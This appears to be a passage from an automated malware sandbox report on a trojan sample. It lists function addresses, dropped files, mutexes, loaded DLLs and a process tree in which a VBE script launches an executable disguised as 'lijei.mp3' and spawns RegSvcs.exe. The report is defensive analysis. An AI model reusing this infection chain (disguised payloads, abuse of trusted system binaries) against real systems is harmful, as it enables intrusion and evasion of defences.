                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018829A014_2_018829A0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0194A9A614_2_0194A9A6
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0189696214_2_01896962
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018668B814_2_018668B8
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018AE8F014_2_018AE8F0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0188A84014_2_0188A840
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0188284014_2_01882840
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01936BD714_2_01936BD7
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0193AB4014_2_0193AB40
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0187EA8014_2_0187EA80
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01898DBF14_2_01898DBF
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0187ADE014_2_0187ADE0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0188AD0014_2_0188AD00
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0191CD1F14_2_0191CD1F
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01920CB514_2_01920CB5
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01870CF214_2_01870CF2
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01880C0014_2_01880C00
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018FEFA014_2_018FEFA0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01872FC814_2_01872FC8
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0188CFE014_2_0188CFE0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01922F3014_2_01922F30
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018C2F2814_2_018C2F28
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018A0F3014_2_018A0F30
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018F4F4014_2_018F4F40
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0193CE9314_2_0193CE93
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01892E9014_2_01892E90
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0193EEDB14_2_0193EEDB
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0193EE2614_2_0193EE26
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01880E5914_2_01880E59
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0188B1B014_2_0188B1B0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018B516C14_2_018B516C
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0186F17214_2_0186F172
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0194B16B14_2_0194B16B
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018870C014_2_018870C0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0192F0CC14_2_0192F0CC
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0193F0E014_2_0193F0E0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_019370E914_2_019370E9
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018C739A14_2_018C739A
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0193132D14_2_0193132D
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0186D34C14_2_0186D34C
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018852A014_2_018852A0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0189B2C014_2_0189B2C0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_019212ED14_2_019212ED
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0191D5B014_2_0191D5B0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_019495C314_2_019495C3
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0193757114_2_01937571
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0193F43F14_2_0193F43F
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0187146014_2_01871460
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0193F7B014_2_0193F7B0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_019316CC14_2_019316CC
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018C563014_2_018C5630
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0191591014_2_01915910
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0188995014_2_01889950
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0189B95014_2_0189B950
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018838E014_2_018838E0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018ED80014_2_018ED800
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0189FB8014_2_0189FB80
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018BDBF914_2_018BDBF9
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018F5BF014_2_018F5BF0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0193FB7614_2_0193FB76
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018C5AA014_2_018C5AA0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01921AA314_2_01921AA3
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0191DAAC14_2_0191DAAC
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0192DAC614_2_0192DAC6
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01937A4614_2_01937A46
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0193FA4914_2_0193FA49
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018F3A6C14_2_018F3A6C
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0189FDC014_2_0189FDC0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01883D4014_2_01883D40
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01931D5A14_2_01931D5A
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01937D7314_2_01937D73
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0193FCF214_2_0193FCF2
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018F9C3214_2_018F9C32
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01881F9214_2_01881F92
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0193FFB114_2_0193FFB1
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01843FD514_2_01843FD5
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01843FD214_2_01843FD2
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0193FF0914_2_0193FF09
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01889EB014_2_01889EB0
                Source: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exeCode function: 15_2_00ECE0BE15_2_00ECE0BE
                Source: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exeCode function: 15_2_00ED803715_2_00ED8037
                Source: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exeCode function: 15_2_00EBE1A015_2_00EBE1A0
                Source: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exeCode function: 15_2_00EEA28E15_2_00EEA28E
                Source: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exeCode function: 15_2_00EB225D15_2_00EB225D
                Source: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exeCode function: 15_2_00ECC59E15_2_00ECC59E
                Source: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exeCode function: 15_2_00F3C7A315_2_00F3C7A3
                Source: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exeCode function: 15_2_00EEE89F15_2_00EEE89F
                Source: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exeCode function: 15_2_00F2291A15_2_00F2291A
                Source: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exeCode function: 15_2_00EE6AFB15_2_00EE6AFB
                Source: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exeCode function: 15_2_00F18B2715_2_00F18B27
                Source: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exeCode function: 15_2_00EDCE3015_2_00EDCE30
                Source: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exeCode function: 15_2_00F451D215_2_00F451D2
                Source: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exeCode function: 15_2_00EE716915_2_00EE7169
                Source: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exeCode function: 15_2_00EB924015_2_00EB9240
                Source: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exeCode function: 15_2_00EB949915_2_00EB9499
                Source: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exeCode function: 15_2_00ED172415_2_00ED1724
                Source: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exeCode function: 15_2_00ED7BAB15_2_00ED7BAB
                Source: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exeCode function: 15_2_00EB9B6015_2_00EB9B60
                Source: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exeCode function: 15_2_00ED7DDA15_2_00ED7DDA
                Source: Joe Sandbox ViewDropped File: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3 98E4F904F7DE1644E519D09371B8AFCBBF40FF3BD56D76CE4DF48479A4AB884B
                Source: Joe Sandbox ViewDropped File: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3.exe 98E4F904F7DE1644E519D09371B8AFCBBF40FF3BD56D76CE4DF48479A4AB884B
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: String function: 018FF290 appears 105 times
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: String function: 018EEA12 appears 86 times
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: String function: 018B5130 appears 58 times
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: String function: 018C7E54 appears 111 times
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: String function: 0186B970 appears 280 times
                Source: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exeCode function: String function: 00ED0DC0 appears 46 times
                Source: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exeCode function: String function: 00ECFD60 appears 40 times
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: String function: 008C0DC0 appears 46 times
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: String function: 008BFD60 appears 40 times
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeCode function: String function: 00D957D8 appears 67 times
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeCode function: String function: 00D957A5 appears 34 times
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeCode function: String function: 00D96630 appears 31 times
                Source: C:\Windows\System32\conhost.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 1924 -ip 1924
                Source: qPLzfnxGbj.exe, 00000000.00000003.2169281936.0000000007360000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameAutoIt3.exeB vs qPLzfnxGbj.exe
                Source: qPLzfnxGbj.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
                Source: classification engineClassification label: mal100.troj.evad.winEXE@30/52@0/0
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeCode function: 0_2_00D7932C GetLastError,FormatMessageW,_wcslen,LocalFree,0_2_00D7932C
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_2_0090194F AdjustTokenPrivileges,CloseHandle,8_2_0090194F
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_2_00901F53 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,8_2_00901F53
                Source: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exeCode function: 15_2_00F1194F AdjustTokenPrivileges,CloseHandle,15_2_00F1194F
                Source: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exeCode function: 15_2_00F11F53 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,15_2_00F11F53
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_2_00915B27 SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,8_2_00915B27
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_2_0090DC9C CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,8_2_0090DC9C
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_2_00924089 CoInitialize,CoUninitialize,CoCreateInstance,IIDFromString,VariantInit,VariantClear,8_2_00924089
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeCode function: 0_2_00D8EBD3 FindResourceW,SizeofResource,LoadResource,LockResource,GlobalAlloc,GlobalLock,CreateStreamOnHGlobal,GdipCreateHBITMAPFromBitmap,GlobalUnlock,GlobalFree,0_2_00D8EBD3
                Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2976:120:WilError_03
                Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:364:120:WilError_03
                Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3192:120:WilError_03
                Source: C:\Windows\SysWOW64\WerFault.exeMutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess1924
                Source: C:\Windows\SysWOW64\WerFault.exeMutant created: \BaseNamedObjects\Local\SM0:6724:64:WilError_03
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeFile created: C:\Users\user\AppData\Local\Temp\RarSFX0Jump to behavior
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeCommand line argument: sfxname0_2_00D9454A
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeCommand line argument: sfxstime0_2_00D9454A
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeCommand line argument: STARTDLG0_2_00D9454A
                Source: qPLzfnxGbj.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeFile read: C:\Windows\win.iniJump to behavior
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
                Source: qPLzfnxGbj.exeReversingLabs: Detection: 65%
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeFile read: C:\Users\user\Desktop\qPLzfnxGbj.exeJump to behavior
                Source: unknownProcess created: C:\Users\user\Desktop\qPLzfnxGbj.exe "C:\Users\user\Desktop\qPLzfnxGbj.exe"
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\RarSFX0\paum.vbe"
                Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /release
                Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c lijei.mp3 uudcsppmql.jpg
                Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /release
                Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3 lijei.mp3 uudcsppmql.jpg
                Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /renew
                Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /renew
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
                Source: unknownProcess created: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exe "C:\Users\user\AppData\Local\Temp\xhqk\LIJEIM~1.EXE" C:\Users\user\AppData\Local\Temp\xhqk\UUDCSP~1.JPG
                Source: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
                Source: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
                Source: C:\Windows\System32\conhost.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 1924 -ip 1924
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 1924 -s 80
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\RarSFX0\paum.vbe" Jump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /release Jump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c lijei.mp3 uudcsppmql.jpgJump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /renew Jump to behavior
                Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /releaseJump to behavior
                Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3 lijei.mp3 uudcsppmql.jpgJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"Jump to behavior
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"Jump to behavior
                Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /renewJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"Jump to behavior
                Source: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"Jump to behavior
                Source: C:\Windows\SysWOW64\WerFault.exeProcess created: unknown unknownJump to behavior
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeSection loaded: version.dllJump to behavior
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeSection loaded: dxgidebug.dllJump to behavior
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeSection loaded: sfc_os.dllJump to behavior
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeSection loaded: sspicli.dllJump to behavior
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeSection loaded: rsaenh.dllJump to behavior
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeSection loaded: uxtheme.dllJump to behavior
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeSection loaded: dwmapi.dllJump to behavior
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeSection loaded: cryptbase.dllJump to behavior
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeSection loaded: riched20.dllJump to behavior
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeSection loaded: usp10.dllJump to behavior
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeSection loaded: msls31.dllJump to behavior
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeSection loaded: kernel.appcore.dllJump to behavior
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeSection loaded: windowscodecs.dllJump to behavior
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeSection loaded: textshaping.dllJump to behavior
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeSection loaded: textinputframework.dllJump to behavior
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeSection loaded: coreuicomponents.dllJump to behavior
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeSection loaded: coremessaging.dllJump to behavior
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeSection loaded: ntmarta.dllJump to behavior
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeSection loaded: wintypes.dllJump to behavior
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeSection loaded: wintypes.dllJump to behavior
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeSection loaded: wintypes.dllJump to behavior
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeSection loaded: windows.storage.dllJump to behavior
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeSection loaded: wldp.dllJump to behavior
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeSection loaded: propsys.dllJump to behavior
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeSection loaded: profapi.dllJump to behavior
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeSection loaded: edputil.dllJump to behavior
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeSection loaded: urlmon.dllJump to behavior
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeSection loaded: iertutil.dllJump to behavior
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeSection loaded: srvcli.dllJump to behavior
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeSection loaded: netutils.dllJump to behavior
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeSection loaded: windows.staterepositoryps.dllJump to behavior
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeSection loaded: policymanager.dllJump to behavior
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeSection loaded: msvcp110_win.dllJump to behavior
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeSection loaded: appresolver.dllJump to behavior
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeSection loaded: bcp47langs.dllJump to behavior
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeSection loaded: slc.dllJump to behavior
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeSection loaded: userenv.dllJump to behavior
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeSection loaded: sppc.dllJump to behavior
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeSection loaded: onecorecommonproxystub.dllJump to behavior
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeSection loaded: pcacli.dllJump to behavior
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeSection loaded: mpr.dllJump to behavior
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeSection loaded: windows.fileexplorer.common.dllJump to behavior
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeSection loaded: apphelp.dllJump to behavior
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeSection loaded: ntshrui.dllJump to behavior
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeSection loaded: cscapi.dllJump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeSection loaded: version.dllJump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeSection loaded: kernel.appcore.dllJump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeSection loaded: uxtheme.dllJump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeSection loaded: sxs.dllJump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeSection loaded: vbscript.dllJump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeSection loaded: amsi.dllJump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeSection loaded: userenv.dllJump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeSection loaded: profapi.dllJump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wldp.dllJump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeSection loaded: msasn1.dllJump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeSection loaded: cryptsp.dllJump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeSection loaded: rsaenh.dllJump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeSection loaded: cryptbase.dllJump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeSection loaded: msisip.dllJump to behavior
